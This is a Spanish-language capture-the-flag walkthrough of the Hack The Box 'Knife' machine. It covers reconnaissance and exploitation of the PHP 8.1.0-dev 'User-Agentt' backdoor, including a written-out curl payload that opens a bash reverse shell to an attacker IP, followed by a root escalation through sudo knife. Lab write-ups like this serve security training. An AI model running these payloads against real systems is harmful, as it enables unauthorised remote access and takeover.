Knife - Hack The Box
Esta es una máquina muy fácil, vamos a aprovecharnos de una vulnerabilidad en la versión de PHP 8.0.1-dev que nos permitirá conectarnos de manera remota como el usuario James, una vez dentro, vamos a investigar los privilegios que tenemos, encontrando que podemos usar el binario Knife, buscamos en la página GTFOBins y nos explica una forma para convertirnos en Root.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- whatweb
- wget
- nc
- python3
- curl
- html2text
- sudo
- knife
Índice
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.10.242
PING 10.10.10.242 (10.10.10.242) 56(84) bytes of data.
64 bytes from 10.10.10.242: icmp_seq=1 ttl=63 time=188 ms
64 bytes from 10.10.10.242: icmp_seq=2 ttl=63 time=341 ms
64 bytes from 10.10.10.242: icmp_seq=3 ttl=63 time=140 ms
64 bytes from 10.10.10.242: icmp_seq=4 ttl=63 time=189 ms
--- 10.10.10.242 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 139.758/214.254/340.532/75.560 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.242 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 13:03 CST
Initiating SYN Stealth Scan at 13:03
Scanning 10.10.10.242 [65535 ports]
Discovered open port 22/tcp on 10.10.10.242
Discovered open port 80/tcp on 10.10.10.242
Completed SYN Stealth Scan at 13:03, 26.71s elapsed (65535 total ports)
Nmap scan report for 10.10.10.242
Host is up, received user-set (1.3s latency).
Scanned at 2023-05-10 13:03:13 CST for 26s
Not shown: 52975 filtered tcp ports (no-response), 12558 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.81 seconds
Raw packets sent: 125074 (5.503MB) | Rcvd: 12589 (503.600KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Veo solamente dos puertos abiertos, todo apunta a que debemos analizar el puerto 80, veamos que nos dice el escaneo de servicios.
Escaneo de Servicios
nmap -sC -sV -p22,80 10.10.10.242 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-10 13:05 CST
Stats: 0:00:07 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 13:06 (0:00:06 remaining)
Nmap scan report for 10.10.10.242
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be549ca367c315c364717f6a534a4c21 (RSA)
| 256 bf8a3fd406e92e874ec97eab220ec0ee (ECDSA)
|_ 256 1adea1cc37ce53bb1bfb2b0badb3f684 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.69 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
No veo información que nos sirva útil, analicemos la página web.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos.
La página se ve simple, los campos que tiene no funcionan, veamos que nos dice Wappalizer:
Muy bien está programado en PHP, veamos que nos dice la herramienta whatweb:
whatweb http://10.10.10.242/
http://10.10.10.242/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.242], PHP[8.1.0-dev], Script, Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]
Me llama la atención esto: X-Powered-By[PHP/8.1.0-dev], puede que nos sirva después.
Revise el código fuente, pero no encontré nada que nos pueda ayudar, así que no lo pondré aquí.
Antes de buscar un Exploit, vamos a hacer un Fuzzing para ver si encontramos una subpágina que nos sea útil.
Fuzzing
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.242/FUZZ/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.242/FUZZ/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000083: 200 220 L 526 W 5815 Ch "icons"
000045240: 200 220 L 526 W 5815 Ch "http://10.10.10.242//"
000095524: 403 9 L 28 W 277 Ch "server-status"
Total time: 531.9833
Processed Requests: 220560
Filtered Requests: 220543
Requests/sec.: 414.5994
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Veamos que nos reporta gobuster:
gobuster dir -u http://10.10.10.242/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.242/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/server-status (Status: 403) [Size: 277]
Progress: 220485 / 220547 (99.97%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
Nada, quiero pensar que la movida será por la versión del PHP, vamos a buscar un Exploit.
Explotación de Vulnerabilidades
Buscando un Exploit para PHP
Encontré un Exploit para la versión que está usando la página web:
En resumen, la versión de PHP 8.1.0-dev tiene una Backdoor que al parecer alguien dejo ahí, por lo que cualquier atacante puede usar esta Backdoor utilizando la cabecera User-Agentt (que esto fue lo que delato la Backdoor). Y este exploit se aprovecha de esto para otorgar una shell en el host.
Para que no pierdas el tiempo como yo, esta versión del Exploit no nos servirá, el mismo autor creó una Reverse Shell, usando el mismo Exploit.
Esta versión la encontramos en su GitHub:
Probando Exploit: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
Vamos a descargar solamente la versión Reverse Shell:
wget https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/main/revshell_php_8.1.0-dev.py
--2023-05-10 14:24:23-- https://raw.githubusercontent.com/flast101/php-8.1.0-dev-backdoor-rce/main/revshell_php_8.1.0-dev.py
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)
Conectando con raw.githubusercontent.com (raw.githubusercontent.com) conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 2318 (2.3K) [text/plain]
Grabando a: «revshell_php_8.1.0-dev.py»
revshell_php_8.1.0-dev.py 100%[============================================================>] 2.26K --.-KB/s en 0s
2023-05-10 14:24:23 (60.6 MB/s) - «revshell_php_8.1.0-dev.py» guardado [2318/2318]
Si usamos el parámetro -h, nos explicará como usarlo:
python3 revshell_php_8.1.0-dev.py -h
usage: revshell_php_8.1.0-dev.py [-h] <target URL> <attacker IP> <attacker PORT>
Get a reverse shell from PHP 8.1.0-dev backdoor. Set up a netcat listener in another shell: nc -nlvp <attacker PORT>
positional arguments:
<target URL> Target URL
<attacker IP> Attacker listening IP
<attacker PORT> Attacker listening port
options:
-h, --help show this help message and exit
Necesitamos una netcat, activemos una:
nc -nvlp 443
listening on [any] 443 ...
Ahora, usa el Exploit:
python3 revshell_php_8.1.0-dev.py http://10.10.10.242 Tu_IP 443
Y ve la netcat:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.242] 42246
bash: cannot set terminal process group (899): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ whoami
whoami
james
Te recomiendo sacar una shell interactiva y después de que lo hagas busca la flag:
james@knife:~$ cd /home
james@knife:/home$ ls
james
james@knife:/home$ cd james
james@knife:~$ ls
user.txt
james@knife:~$ cat user.txt
...
Inyectando Comandos con Cabecera 'User-Agentt' y curl
Como ya vimos que se esta ocupado la cabecera de User-Agentt para inyectar una Reverse Shell, también podemos hacerlo nosotros sin necesidad del Exploit. Esto es similar a hacer una prueba en la cabecera User-Agent con tal de ver si no es vulnerable al ataque Shellshock.
Vamos a probar por pasos:
- Ocupa el siguiente comando de curl, vamos a agregarle el comando html2text para ver como se representa el código fuente en texto en lugar de mostrar todo el código:
curl -s -X GET http://10.10.10.242 | html2text
* About EMA
* /
* Patients
* /
* Hospitals
* /
* Providers
* /
* E-MSO
*
***** At EMA we're taking care to a whole new level . . . *****
****** Taking care of our ******
El parámetro -s es para que la petición sea silenciosa y el parámetro -X es para introducir el metodo de la petición, que en este caso sería una petición GET.
- Utiliza el parámetro -H para introducir la cabecera User-Agent en curl, justo como viene en el Exploit y escribe el comando whoami entre comillas simples:
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('whoami');" | html2text
james
* About EMA
* /
* Patients
* /
* Hospitals
* /
* Providers
* /
* E-MSO
*
***** At EMA we're taking care to a whole new level . . . *****
****** Taking care of our ******
- Ahora probemos con el comando id:
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');" | html2text
uid=1000(james) gid=1000(james) groups=1000(james)
* About EMA
* /
* Patients
* /
* Hospitals
* /
* Providers
* /
* E-MSO
*
***** At EMA we're taking care to a whole new level . . . *****
****** Taking care of our ******
Tenemos un resultado exitoso, ahora vamos a obtener la shell.
- Abre una netcat:
nc -nvlp 443 listening on [any] 443 ...
- Ocupa el mismo comando de curl, pero introduce nuestra Reverse Shell de confianza en bash, debemos escapar las comillas dobles o si no estaría interpretando otra cosa:
curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c \"bash -i >& /dev/tcp/Tu_IP/443 0>&1\"');" | html2text
- Observa la netcat:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IṔ] from (UNKNOWN) [10.10.10.242] 39480 bash: cannot set terminal process group (1020): Inappropriate ioctl for device bash: no job control in this shell james@knife:/$ whoami whoami james james@knife:/$ id id uid=1000(james) gid=1000(james) groups=1000(james) james@knife:/$
Recuerda hacer interactiva esta shell.
¡Listo! Tenemos la flag del usuario, ahora, veamos como escalar privilegios.
Post Explotación
Enumeración de Máquina y Escalando Privilegios con Binario
Veamos qué privilegios tenemos:
james@knife:~$ id
uid=1000(james) gid=1000(james) groups=1000(james)
james@knife:~$ sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
Resulta que esto es un binario, veamos que nos dice nuestra biblia GTFObins sobre este binario:
Nos explica una forma de como escalar privilegios, vamos a probarlo:
james@knife:~$ sudo knife exec -E 'exec "/bin/sh"'
# whoami
root
a…bueno, busquemos la flag:
# cd /root
# ls
delete.sh root.txt snap
# cat root.txt
...
Muy bien, ya completamos la máquina.
Links de Investigación
- https://www.exploit-db.com/exploits/49933
- https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
- https://github.com/flast101/php-8.1.0-dev-backdoor-rce
- https://gtfobins.github.io/gtfobins/knife/